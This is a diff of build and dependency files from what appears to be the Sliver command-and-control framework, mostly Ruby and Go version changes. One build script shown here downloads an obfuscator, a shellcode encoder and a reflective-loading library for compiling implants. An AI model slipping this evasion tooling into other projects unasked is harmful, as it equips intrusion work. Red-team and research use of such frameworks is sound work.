http_parser.rb (~> 0)
|
||||
ethon (0.16.0)
|
||||
ethon (0.15.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (2.7.4)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0)
|
||||
faraday-multipart (~> 1.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.0)
|
||||
faraday-patron (~> 1.0)
|
||||
faraday-rack (~> 1.0)
|
||||
faraday-retry (~> 1.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-multipart (1.0.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.2.0)
|
||||
faraday-patron (1.0.0)
|
||||
faraday-rack (1.0.0)
|
||||
faraday-retry (1.0.3)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (228)
|
||||
github-pages (225)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.3)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.4.0)
|
||||
jekyll-commonmark-ghpages (= 0.2.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
@@ -69,12 +88,12 @@ GEM
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.2)
|
||||
kramdown (= 2.3.1)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.4)
|
||||
liquid (= 4.0.3)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.13.6, < 2.0)
|
||||
nokogiri (>= 1.12.5, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.9)
|
||||
@@ -83,17 +102,17 @@ GEM
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.3)
|
||||
html-pipeline (2.14.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.12.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.3)
|
||||
jekyll (3.9.0)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (>= 0.7, < 2)
|
||||
i18n (~> 0.7)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (>= 1.17, < 3)
|
||||
@@ -109,11 +128,11 @@ GEM
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.4.0)
|
||||
commonmarker (~> 0.23.7)
|
||||
jekyll-commonmark-ghpages (0.2.0)
|
||||
commonmarker (~> 0.23.4)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 5.0)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.15.1)
|
||||
@@ -197,32 +216,33 @@ GEM
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
kramdown (2.3.2)
|
||||
kramdown (2.3.1)
|
||||
rexml
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.4)
|
||||
listen (3.8.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.7.1)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.8.1)
|
||||
mini_portile2 (2.8.0)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.17.0)
|
||||
nokogiri (1.14.1)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.13.9)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
octokit (4.22.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.7)
|
||||
racc (1.6.2)
|
||||
rb-fsevent (0.11.2)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.6.0)
|
||||
rb-fsevent (0.11.1)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
@@ -235,9 +255,9 @@ GEM
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.9.2)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
terminal-table (1.8.0)
|
||||
@@ -245,17 +265,16 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.11)
|
||||
tzinfo (1.2.10)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unf_ext (0.0.8)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
webrick (1.8.1)
|
||||
zeitwerk (2.6.7)
|
||||
zeitwerk (2.5.4)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -268,7 +287,6 @@ DEPENDENCIES
|
||||
tzinfo (~> 1.2)
|
||||
tzinfo-data
|
||||
wdm (~> 0.1.0)
|
||||
webrick (~> 1.8)
|
||||
|
||||
BUNDLED WITH
|
||||
2.4.6
|
||||
1.17.3
|
||||
@@ -31,15 +31,6 @@ show_downloads: true
|
||||
plugins:
|
||||
- jekyll-feed
|
||||
|
||||
plugins:
|
||||
- jekyll-notion
|
||||
|
||||
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
|
||||
notion:
|
||||
fetch_on_watch: true
|
||||
databases:
|
||||
- id: 4bbf1c77cabc46e09428c871283683d3
|
||||
|
||||
# Exclude from processing.
|
||||
# The following items will not be processed, by default. Create a custom list
|
||||
# to override the default setting.
|
||||
|
||||
+2
-2
@@ -170,6 +170,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
if id -u $USER >/dev/null 2>&1; then
|
||||
mkdir -p $USER_DIR/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
|
||||
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
|
||||
chown -R $USER:$USER $USER_DIR/.sliver-client/
|
||||
fi
|
||||
done
|
||||
done
|
||||
+13
-3
@@ -20,9 +20,10 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.20.1"
|
||||
GARBLE_VER="1.20.2"
|
||||
GO_VER="1.19.3"
|
||||
GARBLE_VER="1.19.4"
|
||||
SGN_VER="0.0.3"
|
||||
LIBREFLECT_VER="1.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
@@ -157,7 +158,7 @@ echo "-----------------------------------------------------------------"
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
@@ -190,6 +191,15 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Libreflect"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/lib/libreflect.tar.gz https://github.com/sliverarmory/libreflect/releases/download/v$LIBREFLECT_VER/libreflect.tar.gz"
|
||||
curl -L --fail --output $OUTPUT_DIR/lib/libreflect.tar.gz https://github.com/sliverarmory/libreflect/releases/download/v$LIBREFLECT_VER/libreflect.tar.gz
|
||||
tar xzf $OUTPUT_DIR/lib/libreflect.tar.gz -C $OUTPUT_DIR/lib
|
||||
rm $OUTPUT_DIR/lib/libreflect.tar.gz
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
@@ -13,47 +13,48 @@ require (
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc
|
||||
github.com/chromedp/chromedp v0.8.7
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
|
||||
github.com/chromedp/chromedp v0.8.6
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.14.1
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.1+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.2
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.51
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.4.0
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.10
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.6.0
|
||||
golang.org/x/net v0.7.0
|
||||
golang.org/x/sys v0.5.0
|
||||
golang.org/x/term v0.5.0
|
||||
golang.org/x/text v0.7.0
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.4.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.53.0
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.28.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.4.7
|
||||
gorm.io/driver/postgres v1.4.8
|
||||
gorm.io/driver/sqlite v1.4.4
|
||||
gorm.io/gorm v1.24.5
|
||||
gorm.io/driver/mysql v1.4.4
|
||||
gorm.io/driver/postgres v1.4.5
|
||||
gorm.io/driver/sqlite v1.4.3
|
||||
gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
modernc.org/sqlite v1.21.0
|
||||
modernc.org/sqlite v1.19.3
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -70,9 +71,9 @@ require (
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/dlclark/regexp2 v1.4.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.0 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.6.0 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.1.0 // indirect
|
||||
@@ -82,30 +83,40 @@ require (
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.1 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.13.0 // indirect
|
||||
github.com/jackc/pgio v1.0.0 // indirect
|
||||
github.com/jackc/pgpassfile v1.0.0 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect
|
||||
github.com/jackc/pgx/v5 v5.3.0 // indirect
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
|
||||
github.com/jackc/pgtype v1.12.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.17.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.5 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.17 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.16 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.13 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.7.0 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.2 // indirect
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.3.0 // indirect
|
||||
golang.org/x/tools v0.1.12 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
@@ -114,10 +125,10 @@ require (
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
lukechampine.com/uint128 v1.2.0 // indirect
|
||||
modernc.org/cc/v3 v3.40.0 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13 // indirect
|
||||
modernc.org/libc v1.22.3 // indirect
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
|
||||
modernc.org/libc v1.21.2 // indirect
|
||||
modernc.org/mathutil v1.5.0 // indirect
|
||||
modernc.org/memory v1.5.0 // indirect
|
||||
modernc.org/memory v1.4.0 // indirect
|
||||
modernc.org/opt v0.1.3 // indirect
|
||||
modernc.org/strutil v1.1.3 // indirect
|
||||
modernc.org/token v1.0.1 // indirect
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
cloud.google.com/go v0.105.0 h1:DNtEKRBAAzeS4KyIory52wWHuClNaXJ5x1F7xa4q+5Y=
|
||||
cloud.google.com/go/compute v1.15.1 h1:7UGq3QknM33pw5xATlpzeoomNxsacIVvTqTTvbfajmE=
|
||||
cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY=
|
||||
cloud.google.com/go v0.34.0 h1:eOI3/cP2VTU6uZLDYAoic+eyzzB9YyGmJ7eIjl8rOPg=
|
||||
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
|
||||
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
|
||||
@@ -20,6 +19,8 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRl
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc=
|
||||
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
|
||||
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
|
||||
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
@@ -36,6 +37,7 @@ github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
|
||||
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
@@ -43,12 +45,13 @@ github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
|
||||
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc h1:pgBIUnhrsNh0Xi+8qUdHIP/nljIVz3laeRv23eqr45M=
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
|
||||
github.com/chromedp/chromedp v0.8.7 h1:dYOYc5ynTBzwSLOi+1IfgHwPr8r2BqV48l/RC+3OuJ0=
|
||||
github.com/chromedp/chromedp v0.8.7/go.mod h1:iL+ywnwk3eG3EVXV1ackXBMNzdEh3Ye/KHvQkq1KRKU=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777 h1:nEnjcdmVQjhtQm0RFJxRINMw7lsQ8gidtbpsidiDqpY=
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
|
||||
github.com/chromedp/chromedp v0.8.6 h1:KobeeqR2dpfKSG1prS3Y6+FbffMmGC6xmAobRXA9QEQ=
|
||||
github.com/chromedp/chromedp v0.8.6/go.mod h1:nBYHoD6YSNzrr82cIeuOzhw1Jo/s2o0QQ+ifTeoCZ+c=
|
||||
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
|
||||
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
|
||||
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
|
||||
@@ -57,9 +60,18 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWs
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
|
||||
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
|
||||
github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
|
||||
github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
|
||||
github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I=
|
||||
github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
|
||||
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||
github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
|
||||
